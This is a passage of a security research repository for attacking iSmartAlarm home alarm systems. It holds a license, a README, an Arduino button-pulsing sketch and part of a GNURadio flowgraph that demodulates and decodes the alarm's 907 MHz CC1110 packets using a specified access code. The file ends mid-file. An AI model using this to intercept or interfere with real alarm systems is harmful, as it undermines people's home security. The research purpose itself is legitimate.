├── LICENSE
├── README.md
├── arduino
    └── button_push
    │   └── button_push.ino
├── grc
    ├── __init__.py
    ├── __init__.pyc
    ├── ism_demod.grc
    ├── ism_demod.py
    └── ism_demod.pyc
└── scripts
    ├── GoodFET.py
    ├── GoodFET.pyc
    ├── GoodFETCC.py
    ├── GoodFETCC.pyc
    ├── grc
    ├── ism_rx.py
    └── rfcat_receiver.py


/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2017 <Dayton Pidhirney> Seekintoo Ltd.
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # iSmartAlarm
2 | GNURadio GRC files, Arduino code and scripts for preforming attacks on iSmartAlarm systems
3 | 
4 | Copyright (c) Dayton Pidhirney Seekintoo Ltd.
5 | 


--------------------------------------------------------------------------------
/arduino/button_push/button_push.ino:
--------------------------------------------------------------------------------
 1 | byte switchPin = 8;
 2 | byte inByte = 0;
 3 | 
 4 | void setup() {
 5 |   Serial.begin(9600);
 6 |   while (!Serial) {
 7 |     ;
 8 |   }
 9 |   
10 |   pinMode(switchPin, OUTPUT);
11 |   digitalWrite(switchPin, LOW);
12 | }
13 | 
14 | void loop() {
15 |   if (Serial.available() > 0) {
16 |     // get the new byte:
17 |     inByte = Serial.read();
18 |     
19 |     if (inByte == 49 ) {
20 | //    Serial.print(inByte, DEC);
21 |       
22 |       for (int i=0; i<2; ++i) {
23 |         digitalWrite(switchPin, HIGH);
24 |         delay(250);
25 |         digitalWrite(switchPin, LOW);
26 |         delay(250);
27 |       }
28 |       inByte = 0;
29 |     }
30 |   }
31 | }
32 | 


--------------------------------------------------------------------------------
/grc/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/grc/__init__.py


--------------------------------------------------------------------------------
/grc/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/grc/__init__.pyc


--------------------------------------------------------------------------------
/grc/ism_demod.grc:
--------------------------------------------------------------------------------
   1 | <?xml version='1.0' encoding='utf-8'?>
   2 | <?grc format='1' created='3.7.10'?>
   3 | <flow_graph>
   4 |   <timestamp>Sun Nov 16 10:44:20 2014</timestamp>
   5 |   <block>
   6 |     <key>options</key>
   7 |     <param>
   8 |       <key>author</key>
   9 |       <value></value>
  10 |     </param>
  11 |     <param>
  12 |       <key>window_size</key>
  13 |       <value>1280, 1024</value>
  14 |     </param>
  15 |     <param>
  16 |       <key>category</key>
  17 |       <value>Custom</value>
  18 |     </param>
  19 |     <param>
  20 |       <key>comment</key>
  21 |       <value></value>
  22 |     </param>
  23 |     <param>
  24 |       <key>description</key>
  25 |       <value></value>
  26 |     </param>
  27 |     <param>
  28 |       <key>_enabled</key>
  29 |       <value>True</value>
  30 |     </param>
  31 |     <param>
  32 |       <key>_coordinate</key>
  33 |       <value>(8, 8)</value>
  34 |     </param>
  35 |     <param>
  36 |       <key>_rotation</key>
  37 |       <value>0</value>
  38 |     </param>
  39 |     <param>
  40 |       <key>generate_options</key>
  41 |       <value>wx_gui</value>
  42 |     </param>
  43 |     <param>
  44 |       <key>hier_block_src_path</key>
  45 |       <value>.:</value>
  46 |     </param>
  47 |     <param>
  48 |       <key>id</key>
  49 |       <value>ism_demod</value>
  50 |     </param>
  51 |     <param>
  52 |       <key>max_nouts</key>
  53 |       <value>0</value>
  54 |     </param>
  55 |     <param>
  56 |       <key>qt_qss_theme</key>
  57 |       <value></value>
  58 |     </param>
  59 |     <param>
  60 |       <key>realtime_scheduling</key>
  61 |       <value></value>
  62 |     </param>
  63 |     <param>
  64 |       <key>run_command</key>
  65 |       <value>{python} -u {filename}</value>
  66 |     </param>
  67 |     <param>
  68 |       <key>run_options</key>
  69 |       <value>run</value>
  70 |     </param>
  71 |     <param>
  72 |       <key>run</key>
  73 |       <value>True</value>
  74 |     </param>
  75 |     <param>
  76 |       <key>thread_safe_setters</key>
  77 |       <value>1</value>
  78 |     </param>
  79 |     <param>
  80 |       <key>title</key>
  81 |       <value>iSmartAlarm CC1110 Decoder</value>
  82 |     </param>
  83 |   </block>
  84 |   <block>
  85 |     <key>variable</key>
  86 |     <param>
  87 |       <key>comment</key>
  88 |       <value></value>
  89 |     </param>
  90 |     <param>
  91 |       <key>_enabled</key>
  92 |       <value>True</value>
  93 |     </param>
  94 |     <param>
  95 |       <key>_coordinate</key>
  96 |       <value>(976, 4)</value>
  97 |     </param>
  98 |     <param>
  99 |       <key>_rotation</key>
 100 |       <value>0</value>
 101 |     </param>
 102 |     <param>
 103 |       <key>id</key>
 104 |       <value>access_code</value>
 105 |     </param>
 106 |     <param>
 107 |       <key>value</key>
 108 |       <value>'11010011100100011101001110010001'</value>
 109 |     </param>
 110 |   </block>
 111 |   <block>
 112 |     <key>variable</key>
 113 |     <param>
 114 |       <key>comment</key>
 115 |       <value></value>
 116 |     </param>
 117 |     <param>
 118 |       <key>_enabled</key>
 119 |       <value>True</value>
 120 |     </param>
 121 |     <param>
 122 |       <key>_coordinate</key>
 123 |       <value>(1160, 4)</value>
 124 |     </param>
 125 |     <param>
 126 |       <key>_rotation</key>
 127 |       <value>0</value>
 128 |     </param>
 129 |     <param>
 130 |       <key>id</key>
 131 |       <value>crc_verbose</value>
 132 |     </param>
 133 |     <param>
 134 |       <key>value</key>
 135 |       <value>True</value>
 136 |     </param>
 137 |   </block>
 138 |   <block>
 139 |     <key>variable</key>
 140 |     <param>
 141 |       <key>comment</key>
 142 |       <value></value>
 143 |     </param>
 144 |     <param>
 145 |       <key>_enabled</key>
 146 |       <value>True</value>
 147 |     </param>
 148 |     <param>
 149 |       <key>_coordinate</key>
 150 |       <value>(280, 68)</value>
 151 |     </param>
 152 |     <param>
 153 |       <key>_rotation</key>
 154 |       <value>0</value>
 155 |     </param>
 156 |     <param>
 157 |       <key>id</key>
 158 |       <value>fft_sp</value>
 159 |     </param>
 160 |     <param>
 161 |       <key>value</key>
 162 |       <value>50000</value>
 163 |     </param>
 164 |   </block>
 165 |   <block>
 166 |     <key>variable</key>
 167 |     <param>
 168 |       <key>comment</key>
 169 |       <value></value>
 170 |     </param>
 171 |     <param>
 172 |       <key>_enabled</key>
 173 |       <value>True</value>
 174 |     </param>
 175 |     <param>
 176 |       <key>_coordinate</key>
 177 |       <value>(632, 4)</value>
 178 |     </param>
 179 |     <param>
 180 |       <key>_rotation</key>
 181 |       <value>180</value>
 182 |     </param>
 183 |     <param>
 184 |       <key>id</key>
 185 |       <value>firdes_cutoff</value>
 186 |     </param>
 187 |     <param>
 188 |       <key>value</key>
 189 |       <value>17e3</value>
 190 |     </param>
 191 |   </block>
 192 |   <block>
 193 |     <key>variable</key>
 194 |     <param>
 195 |       <key>comment</key>
 196 |       <value></value>
 197 |     </param>
 198 |     <param>
 199 |       <key>_enabled</key>
 200 |       <value>True</value>
 201 |     </param>
 202 |     <param>
 203 |       <key>_coordinate</key>
 204 |       <value>(632, 68)</value>
 205 |     </param>
 206 |     <param>
 207 |       <key>_rotation</key>
 208 |       <value>180</value>
 209 |     </param>
 210 |     <param>
 211 |       <key>id</key>
 212 |       <value>firdes_decim</value>
 213 |     </param>
 214 |     <param>
 215 |       <key>value</key>
 216 |       <value>4</value>
 217 |     </param>
 218 |   </block>
 219 |   <block>
 220 |     <key>variable</key>
 221 |     <param>
 222 |       <key>comment</key>
 223 |       <value></value>
 224 |     </param>
 225 |     <param>
 226 |       <key>_enabled</key>
 227 |       <value>True</value>
 228 |     </param>
 229 |     <param>
 230 |       <key>_coordinate</key>
 231 |       <value>(472, 68)</value>
 232 |     </param>
 233 |     <param>
 234 |       <key>_rotation</key>
 235 |       <value>0</value>
 236 |     </param>
 237 |     <param>
 238 |       <key>id</key>
 239 |       <value>firdes_filter</value>
 240 |     </param>
 241 |     <param>
 242 |       <key>value</key>
 243 |       <value>firdes.low_pass(1,samp_rate/2, firdes_cutoff, firdes_transition_width)</value>
 244 |     </param>
 245 |   </block>
 246 |   <block>
 247 |     <key>variable</key>
 248 |     <param>
 249 |       <key>comment</key>
 250 |       <value></value>
 251 |     </param>
 252 |     <param>
 253 |       <key>_enabled</key>
 254 |       <value>True</value>
 255 |     </param>
 256 |     <param>
 257 |       <key>_coordinate</key>
 258 |       <value>(480, 4)</value>
 259 |     </param>
 260 |     <param>
 261 |       <key>_rotation</key>
 262 |       <value>0</value>
 263 |     </param>
 264 |     <param>
 265 |       <key>id</key>
 266 |       <value>firdes_transition_width</value>
 267 |     </param>
 268 |     <param>
 269 |       <key>value</key>
 270 |       <value>13e3</value>
 271 |     </param>
 272 |   </block>
 273 |   <block>
 274 |     <key>variable_static_text</key>
 275 |     <param>
 276 |       <key>comment</key>
 277 |       <value></value>
 278 |     </param>
 279 |     <param>
 280 |       <key>converver</key>
 281 |       <value>float_converter</value>
 282 |     </param>
 283 |     <param>
 284 |       <key>value</key>
 285 |       <value>frequency_center + frequency_shift + frequency_tune</value>
 286 |     </param>
 287 |     <param>
 288 |       <key>_enabled</key>
 289 |       <value>True</value>
 290 |     </param>
 291 |     <param>
 292 |       <key>formatter</key>
 293 |       <value>None</value>
 294 |     </param>
 295 |     <param>
 296 |       <key>_coordinate</key>
 297 |       <value>(496, 136)</value>
 298 |     </param>
 299 |     <param>
 300 |       <key>_rotation</key>
 301 |       <value>0</value>
 302 |     </param>
 303 |     <param>
 304 |       <key>grid_pos</key>
 305 |       <value>1,0,1,4</value>
 306 |     </param>
 307 |     <param>
 308 |       <key>id</key>
 309 |       <value>freq_display</value>
 310 |     </param>
 311 |     <param>
 312 |       <key>label</key>
 313 |       <value>Current Frequency</value>
 314 |     </param>
 315 |     <param>
 316 |       <key>notebook</key>
 317 |       <value></value>
 318 |     </param>
 319 |   </block>
 320 |   <block>
 321 |     <key>variable</key>
 322 |     <param>
 323 |       <key>comment</key>
 324 |       <value></value>
 325 |     </param>
 326 |     <param>
 327 |       <key>_enabled</key>
 328 |       <value>True</value>
 329 |     </param>
 330 |     <param>
 331 |       <key>_coordinate</key>
 332 |       <value>(864, 4)</value>
 333 |     </param>
 334 |     <param>
 335 |       <key>_rotation</key>
 336 |       <value>0</value>
 337 |     </param>
 338 |     <param>
 339 |       <key>id</key>
 340 |       <value>frequency</value>
 341 |     </param>
 342 |     <param>
 343 |       <key>value</key>
 344 |       <value>frequency_center + frequency_shift + frequency_tune</value>
 345 |     </param>
 346 |   </block>
 347 |   <block>
 348 |     <key>variable</key>
 349 |     <param>
 350 |       <key>comment</key>
 351 |       <value></value>
 352 |     </param>
 353 |     <param>
 354 |       <key>_enabled</key>
 355 |       <value>True</value>
 356 |     </param>
 357 |     <param>
 358 |       <key>_coordinate</key>
 359 |       <value>(736, 4)</value>
 360 |     </param>
 361 |     <param>
 362 |       <key>_rotation</key>
 363 |       <value>0</value>
 364 |     </param>
 365 |     <param>
 366 |       <key>id</key>
 367 |       <value>frequency_center</value>
 368 |     </param>
 369 |     <param>
 370 |       <key>value</key>
 371 |       <value>907481800</value>
 372 |     </param>
 373 |   </block>
 374 |   <block>
 375 |     <key>variable</key>
 376 |     <param>
 377 |       <key>comment</key>
 378 |       <value></value>
 379 |     </param>
 380 |     <param>
 381 |       <key>_enabled</key>
 382 |       <value>True</value>
 383 |     </param>
 384 |     <param>
 385 |       <key>_coordinate</key>
 386 |       <value>(744, 68)</value>
 387 |     </param>
 388 |     <param>
 389 |       <key>_rotation</key>
 390 |       <value>0</value>
 391 |     </param>
 392 |     <param>
 393 |       <key>id</key>
 394 |       <value>frequency_shift</value>
 395 |     </param>
 396 |     <param>
 397 |       <key>value</key>
 398 |       <value>0.52e06</value>
 399 |     </param>
 400 |   </block>
 401 |   <block>
 402 |     <key>variable_slider</key>
 403 |     <param>
 404 |       <key>comment</key>
 405 |       <value></value>
 406 |     </param>
 407 |     <param>
 408 |       <key>converver</key>
 409 |       <value>float_converter</value>
 410 |     </param>
 411 |     <param>
 412 |       <key>value</key>
 413 |       <value>0</value>
 414 |     </param>
 415 |     <param>
 416 |       <key>_enabled</key>
 417 |       <value>True</value>
 418 |     </param>
 419 |     <param>
 420 |       <key>_coordinate</key>
 421 |       <value>(352, 136)</value>
 422 |     </param>
 423 |     <param>
 424 |       <key>_rotation</key>
 425 |       <value>0</value>
 426 |     </param>
 427 |     <param>
 428 |       <key>grid_pos</key>
 429 |       <value>0,0,1,1</value>
 430 |     </param>
 431 |     <param>
 432 |       <key>id</key>
 433 |       <value>frequency_tune</value>
 434 |     </param>
 435 |     <param>
 436 |       <key>label</key>
 437 |       <value>Frequency Tuning</value>
 438 |     </param>
 439 |     <param>
 440 |       <key>max</key>
 441 |       <value>30e3</value>
 442 |     </param>
 443 |     <param>
 444 |       <key>min</key>
 445 |       <value>-30e3</value>
 446 |     </param>
 447 |     <param>
 448 |       <key>notebook</key>
 449 |       <value></value>
 450 |     </param>
 451 |     <param>
 452 |       <key>num_steps</key>
 453 |       <value>1000</value>
 454 |     </param>
 455 |     <param>
 456 |       <key>style</key>
 457 |       <value>wx.SL_HORIZONTAL</value>
 458 |     </param>
 459 |   </block>
 460 |   <block>
 461 |     <key>variable</key>
 462 |     <param>
 463 |       <key>comment</key>
 464 |       <value></value>
 465 |     </param>
 466 |     <param>
 467 |       <key>_enabled</key>
 468 |       <value>True</value>
 469 |     </param>
 470 |     <param>
 471 |       <key>_coordinate</key>
 472 |       <value>(1072, 68)</value>
 473 |     </param>
 474 |     <param>
 475 |       <key>_rotation</key>
 476 |       <value>0</value>
 477 |     </param>
 478 |     <param>
 479 |       <key>id</key>
 480 |       <value>myqueue</value>
 481 |     </param>
 482 |     <param>
 483 |       <key>value</key>
 484 |       <value>gr.msg_queue(200)</value>
 485 |     </param>
 486 |   </block>
 487 |   <block>
 488 |     <key>variable</key>
 489 |     <param>
 490 |       <key>comment</key>
 491 |       <value></value>
 492 |     </param>
 493 |     <param>
 494 |       <key>_enabled</key>
 495 |       <value>True</value>
 496 |     </param>
 497 |     <param>
 498 |       <key>_coordinate</key>
 499 |       <value>(888, 68)</value>
 500 |     </param>
 501 |     <param>
 502 |       <key>_rotation</key>
 503 |       <value>0</value>
 504 |     </param>
 505 |     <param>
 506 |       <key>id</key>
 507 |       <value>rat_decim</value>
 508 |     </param>
 509 |     <param>
 510 |       <key>value</key>
 511 |       <value>5</value>
 512 |     </param>
 513 |   </block>
 514 |   <block>
 515 |     <key>variable</key>
 516 |     <param>
 517 |       <key>comment</key>
 518 |       <value></value>
 519 |     </param>
 520 |     <param>
 521 |       <key>_enabled</key>
 522 |       <value>True</value>
 523 |     </param>
 524 |     <param>
 525 |       <key>_coordinate</key>
 526 |       <value>(976, 68)</value>
 527 |     </param>
 528 |     <param>
 529 |       <key>_rotation</key>
 530 |       <value>0</value>
 531 |     </param>
 532 |     <param>
 533 |       <key>id</key>
 534 |       <value>rat_interop</value>
 535 |     </param>
 536 |     <param>
 537 |       <key>value</key>
 538 |       <value>8</value>
 539 |     </param>
 540 |   </block>
 541 |   <block>
 542 |     <key>variable</key>
 543 |     <param>
 544 |       <key>comment</key>
 545 |       <value></value>
 546 |     </param>
 547 |     <param>
 548 |       <key>_enabled</key>
 549 |       <value>True</value>
 550 |     </param>
 551 |     <param>
 552 |       <key>_coordinate</key>
 553 |       <value>(360, 68)</value>
 554 |     </param>
 555 |     <param>
 556 |       <key>_rotation</key>
 557 |       <value>0</value>
 558 |     </param>
 559 |     <param>
 560 |       <key>id</key>
 561 |       <value>samp_per_sym</value>
 562 |     </param>
 563 |     <param>
 564 |       <key>value</key>
 565 |       <value>((samp_rate/2/firdes_decim)*rat_interop/rat_decim) / symbole_rate</value>
 566 |     </param>
 567 |   </block>
 568 |   <block>
 569 |     <key>variable</key>
 570 |     <param>
 571 |       <key>comment</key>
 572 |       <value></value>
 573 |     </param>
 574 |     <param>
 575 |       <key>_enabled</key>
 576 |       <value>True</value>
 577 |     </param>
 578 |     <param>
 579 |       <key>_coordinate</key>
 580 |       <value>(264, 4)</value>
 581 |     </param>
 582 |     <param>
 583 |       <key>_rotation</key>
 584 |       <value>0</value>
 585 |     </param>
 586 |     <param>
 587 |       <key>id</key>
 588 |       <value>samp_rate</value>
 589 |     </param>
 590 |     <param>
 591 |       <key>value</key>
 592 |       <value>6e6</value>
 593 |     </param>
 594 |   </block>
 595 |   <block>
 596 |     <key>variable</key>
 597 |     <param>
 598 |       <key>comment</key>
 599 |       <value></value>
 600 |     </param>
 601 |     <param>
 602 |       <key>_enabled</key>
 603 |       <value>True</value>
 604 |     </param>
 605 |     <param>
 606 |       <key>_coordinate</key>
 607 |       <value>(368, 4)</value>
 608 |     </param>
 609 |     <param>
 610 |       <key>_rotation</key>
 611 |       <value>0</value>
 612 |     </param>
 613 |     <param>
 614 |       <key>id</key>
 615 |       <value>symbole_rate</value>
 616 |     </param>
 617 |     <param>
 618 |       <key>value</key>
 619 |       <value>38383.5</value>
 620 |     </param>
 621 |   </block>
 622 |   <block>
 623 |     <key>analog_quadrature_demod_cf</key>
 624 |     <param>
 625 |       <key>alias</key>
 626 |       <value></value>
 627 |     </param>
 628 |     <param>
 629 |       <key>comment</key>
 630 |       <value></value>
 631 |     </param>
 632 |     <param>
 633 |       <key>affinity</key>
 634 |       <value></value>
 635 |     </param>
 636 |     <param>
 637 |       <key>_enabled</key>
 638 |       <value>1</value>
 639 |     </param>
 640 |     <param>
 641 |       <key>_coordinate</key>
 642 |       <value>(528, 484)</value>
 643 |     </param>
 644 |     <param>
 645 |       <key>_rotation</key>
 646 |       <value>0</value>
 647 |     </param>
 648 |     <param>
 649 |       <key>gain</key>
 650 |       <value>4</value>
 651 |     </param>
 652 |     <param>
 653 |       <key>id</key>
 654 |       <value>analog_quadrature_demod_cf_0</value>
 655 |     </param>
 656 |     <param>
 657 |       <key>maxoutbuf</key>
 658 |       <value>0</value>
 659 |     </param>
 660 |     <param>
 661 |       <key>minoutbuf</key>
 662 |       <value>0</value>
 663 |     </param>
 664 |   </block>
 665 |   <block>
 666 |     <key>blocks_null_sink</key>
 667 |     <param>
 668 |       <key>alias</key>
 669 |       <value></value>
 670 |     </param>
 671 |     <param>
 672 |       <key>bus_conns</key>
 673 |       <value>[[0,],]</value>
 674 |     </param>
 675 |     <param>
 676 |       <key>comment</key>
 677 |       <value></value>
 678 |     </param>
 679 |     <param>
 680 |       <key>affinity</key>
 681 |       <value></value>
 682 |     </param>
 683 |     <param>
 684 |       <key>_enabled</key>
 685 |       <value>1</value>
 686 |     </param>
 687 |     <param>
 688 |       <key>_coordinate</key>
 689 |       <value>(536, 608)</value>
 690 |     </param>
 691 |     <param>
 692 |       <key>_rotation</key>
 693 |       <value>180</value>
 694 |     </param>
 695 |     <param>
 696 |       <key>id</key>
 697 |       <value>blocks_null_sink_0</value>
 698 |     </param>
 699 |     <param>
 700 |       <key>type</key>
 701 |       <value>byte</value>
 702 |     </param>
 703 |     <param>
 704 |       <key>num_inputs</key>
 705 |       <value>1</value>
 706 |     </param>
 707 |     <param>
 708 |       <key>vlen</key>
 709 |       <value>1</value>
 710 |     </param>
 711 |   </block>
 712 |   <block>
 713 |     <key>digital_binary_slicer_fb</key>
 714 |     <param>
 715 |       <key>alias</key>
 716 |       <value></value>
 717 |     </param>
 718 |     <param>
 719 |       <key>comment</key>
 720 |       <value></value>
 721 |     </param>
 722 |     <param>
 723 |       <key>affinity</key>
 724 |       <value></value>
 725 |     </param>
 726 |     <param>
 727 |       <key>_enabled</key>
 728 |       <value>True</value>
 729 |     </param>
 730 |     <param>
 731 |       <key>_coordinate</key>
 732 |       <value>(1088, 488)</value>
 733 |     </param>
 734 |     <param>
 735 |       <key>_rotation</key>
 736 |       <value>0</value>
 737 |     </param>
 738 |     <param>
 739 |       <key>id</key>
 740 |       <value>digital_binary_slicer_fb_0</value>
 741 |     </param>
 742 |     <param>
 743 |       <key>maxoutbuf</key>
 744 |       <value>0</value>
 745 |     </param>
 746 |     <param>
 747 |       <key>minoutbuf</key>
 748 |       <value>0</value>
 749 |     </param>
 750 |   </block>
 751 |   <block>
 752 |     <key>digital_clock_recovery_mm_xx</key>
 753 |     <param>
 754 |       <key>alias</key>
 755 |       <value></value>
 756 |     </param>
 757 |     <param>
 758 |       <key>comment</key>
 759 |       <value></value>
 760 |     </param>
 761 |     <param>
 762 |       <key>affinity</key>
 763 |       <value></value>
 764 |     </param>
 765 |     <param>
 766 |       <key>_enabled</key>
 767 |       <value>True</value>
 768 |     </param>
 769 |     <param>
 770 |       <key>_coordinate</key>
 771 |       <value>(744, 456)</value>
 772 |     </param>
 773 |     <param>
 774 |       <key>_rotation</key>
 775 |       <value>0</value>
 776 |     </param>
 777 |     <param>
 778 |       <key>gain_mu</key>
 779 |       <value>0.175</value>
 780 |     </param>
 781 |     <param>
 782 |       <key>gain_omega</key>
 783 |       <value>0.25*0.175*0.175</value>
 784 |     </param>
 785 |     <param>
 786 |       <key>id</key>
 787 |       <value>digital_clock_recovery_mm_xx_0</value>
 788 |     </param>
 789 |     <param>
 790 |       <key>maxoutbuf</key>
 791 |       <value>0</value>
 792 |     </param>
 793 |     <param>
 794 |       <key>minoutbuf</key>
 795 |       <value>0</value>
 796 |     </param>
 797 |     <param>
 798 |       <key>mu</key>
 799 |       <value>0.5</value>
 800 |     </param>
 801 |     <param>
 802 |       <key>omega_relative_limit</key>
 803 |       <value>0.005</value>
 804 |     </param>
 805 |     <param>
 806 |       <key>omega</key>
 807 |       <value>samp_per_sym*(1+0.0)</value>
 808 |     </param>
 809 |     <param>
 810 |       <key>type</key>
 811 |       <value>float</value>
 812 |     </param>
 813 |   </block>
 814 |   <block>
 815 |     <key>digital_correlate_access_code_bb</key>
 816 |     <param>
 817 |       <key>access_code</key>
 818 |       <value>access_code</value>
 819 |     </param>
 820 |     <param>
 821 |       <key>alias</key>
 822 |       <value></value>
 823 |     </param>
 824 |     <param>
 825 |       <key>comment</key>
 826 |       <value></value>
 827 |     </param>
 828 |     <param>
 829 |       <key>affinity</key>
 830 |       <value></value>
 831 |     </param>
 832 |     <param>
 833 |       <key>_enabled</key>
 834 |       <value>1</value>
 835 |     </param>
 836 |     <param>
 837 |       <key>_coordinate</key>
 838 |       <value>(1048, 596)</value>
 839 |     </param>
 840 |     <param>
 841 |       <key>_rotation</key>
 842 |       <value>180</value>
 843 |     </param>
 844 |     <param>
 845 |       <key>id</key>
 846 |       <value>digital_correlate_access_code_bb_0</value>
 847 |     </param>
 848 |     <param>
 849 |       <key>maxoutbuf</key>
 850 |       <value>0</value>
 851 |     </param>
 852 |     <param>
 853 |       <key>minoutbuf</key>
 854 |       <value>0</value>
 855 |     </param>
 856 |     <param>
 857 |       <key>threshold</key>
 858 |       <value>1</value>
 859 |     </param>
 860 |   </block>
 861 |   <block>
 862 |     <key>freq_xlating_fir_filter_xxx</key>
 863 |     <param>
 864 |       <key>alias</key>
 865 |       <value></value>
 866 |     </param>
 867 |     <param>
 868 |       <key>center_freq</key>
 869 |       <value>frequency_shift + frequency_tune</value>
 870 |     </param>
 871 |     <param>
 872 |       <key>comment</key>
 873 |       <value></value>
 874 |     </param>
 875 |     <param>
 876 |       <key>affinity</key>
 877 |       <value></value>
 878 |     </param>
 879 |     <param>
 880 |       <key>decim</key>
 881 |       <value>8</value>
 882 |     </param>
 883 |     <param>
 884 |       <key>_enabled</key>
 885 |       <value>1</value>
 886 |     </param>
 887 |     <param>
 888 |       <key>_coordinate</key>
 889 |       <value>(440, 336)</value>
 890 |     </param>
 891 |     <param>
 892 |       <key>_rotation</key>
 893 |       <value>0</value>
 894 |     </param>
 895 |     <param>
 896 |       <key>id</key>
 897 |       <value>freq_xlating_fir_filter_xxx_1</value>
 898 |     </param>
 899 |     <param>
 900 |       <key>maxoutbuf</key>
 901 |       <value>0</value>
 902 |     </param>
 903 |     <param>
 904 |       <key>minoutbuf</key>
 905 |       <value>0</value>
 906 |     </param>
 907 |     <param>
 908 |       <key>samp_rate</key>
 909 |       <value>samp_rate</value>
 910 |     </param>
 911 |     <param>
 912 |       <key>taps</key>
 913 |       <value>1</value>
 914 |     </param>
 915 |     <param>
 916 |       <key>type</key>
 917 |       <value>ccc</value>
 918 |     </param>
 919 |   </block>
 920 |   <block>
 921 |     <key>freq_xlating_fir_filter_xxx</key>
 922 |     <param>
 923 |       <key>alias</key>
 924 |       <value></value>
 925 |     </param>
 926 |     <param>
 927 |       <key>center_freq</key>
 928 |       <value>0</value>
 929 |     </param>
 930 |     <param>
 931 |       <key>comment</key>
 932 |       <value></value>
 933 |     </param>
 934 |     <param>
 935 |       <key>affinity</key>
 936 |       <value></value>
 937 |     </param>
 938 |     <param>
 939 |       <key>decim</key>
 940 |       <value>firdes_decim</value>
 941 |     </param>
 942 |     <param>
 943 |       <key>_enabled</key>
 944 |       <value>1</value>
 945 |     </param>
 946 |     <param>
 947 |       <key>_coordinate</key>
 948 |       <value>(64, 464)</value>
 949 |     </param>
 950 |     <param>
 951 |       <key>_rotation</key>
 952 |       <value>0</value>
 953 |     </param>
 954 |     <param>
 955 |       <key>id</key>
 956 |       <value>freq_xlating_fir_filter_xxx_1_0</value>
 957 |     </param>
 958 |     <param>
 959 |       <key>maxoutbuf</key>
 960 |       <value>0</value>
 961 |     </param>
 962 |     <param>
 963 |       <key>minoutbuf</key>
 964 |       <value>0</value>
 965 |     </param>
 966 |     <param>
 967 |       <key>samp_rate</key>
 968 |       <value>samp_rate/2</value>
 969 |     </param>
 970 |     <param>
 971 |       <key>taps</key>
 972 |       <value>firdes_filter</value>
 973 |     </param>
 974 |     <param>
 975 |       <key>type</key>
 976 |       <value>ccc</value>
 977 |     </param>
 978 |   </block>
 979 |   <block>
 980 |     <key>ism_ism_packet_decoder</key>
 981 |     <param>
 982 |       <key>alias</key>
 983 |       <value></value>
 984 |     </param>
 985 |     <param>
 986 |       <key>do_crc16_check</key>
 987 |       <value>True</value>
 988 |     </param>
 989 |     <param>
 990 |       <key>comment</key>
 991 |       <value></value>
 992 |     </param>
 993 |     <param>
 994 |       <key>affinity</key>
 995 |       <value></value>
 996 |     </param>
 997 |     <param>
 998 |       <key>_enabled</key>
 999 |       <value>True</value>
1000 |     </param>
1001 |     <param>
1002 |       <key>_coordinate</key>
1003 |       <value>(728, 588)</value>
1004 |     </param>
1005 |     <param>
1006 |       <key>_rotation</key>
1007 |       <value>180</value>
1008 |     </param>
1009 |     <param>
1010 |       <key>id</key>
1011 |       <value>ism_ism_packet_decoder_0</value>
1012 |     </param>
1013 |     <param>
1014 |       <key>maxoutbuf</key>
1015 |       <value>0</value>
1016 |     </param>
1017 |     <param>
1018 |       <key>minoutbuf</key>
1019 |       <value>0</value>
1020 |     </param>
1021 |     <param>
1022 |       <key>target_queue</key>
1023 |       <value>myqueue</value>
1024 |     </param>
1025 |     <param>
1026 |       <key>verbose</key>
1027 |       <value>False</value>
1028 |     </param>
1029 |   </block>
1030 |   <block>
1031 |     <key>osmosdr_source</key>
1032 |     <param>
1033 |       <key>alias</key>
1034 |       <value></value>
1035 |     </param>
1036 |     <param>
1037 |       <key>ant0</key>
1038 |       <value></value>
1039 |     </param>
1040 |     <param>
1041 |       <key>bb_gain0</key>
1042 |       <value>0</value>
1043 |     </param>
1044 |     <param>
1045 |       <key>bw0</key>
1046 |       <value>50000</value>
1047 |     </param>
1048 |     <param>
1049 |       <key>dc_offset_mode0</key>
1050 |       <value>0</value>
1051 |     </param>
1052 |     <param>
1053 |       <key>corr0</key>
1054 |       <value>0</value>
1055 |     </param>
1056 |     <param>
1057 |       <key>freq0</key>
1058 |       <value>frequency_center</value>
1059 |     </param>
1060 |     <param>
1061 |       <key>gain_mode0</key>
1062 |       <value>True</value>
1063 |     </param>
1064 |     <param>
1065 |       <key>if_gain0</key>
1066 |       <value>0</value>
1067 |     </param>
1068 |     <param>
1069 |       <key>iq_balance_mode0</key>
1070 |       <value>0</value>
1071 |     </param>
1072 |     <param>
1073 |       <key>gain0</key>
1074 |       <value>0</value>
1075 |     </param>
1076 |     <param>
1077 |       <key>ant1</key>
1078 |       <value></value>
1079 |     </param>
1080 |     <param>
1081 |       <key>bb_gain1</key>
1082 |       <value>20</value>
1083 |     </param>
1084 |     <param>
1085 |       <key>bw1</key>
1086 |       <value>0</value>
1087 |     </param>
1088 |     <param>
1089 |       <key>dc_offset_mode1</key>
1090 |       <value>0</value>
1091 |     </param>
1092 |     <param>
1093 |       <key>corr1</key>
1094 |       <value>0</value>
1095 |     </param>
1096 |     <param>
1097 |       <key>freq1</key>
1098 |       <value>100e6</value>
1099 |     </param>
1100 |     <param>
